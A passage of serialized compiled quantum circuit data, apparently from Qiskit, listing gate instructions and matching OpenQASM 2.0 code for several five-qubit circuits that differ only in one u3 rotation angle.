'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.7, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.7', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1241', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.8000000000000003, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1243', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.9000000000000004, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1245', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['3.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1247', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(3.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': 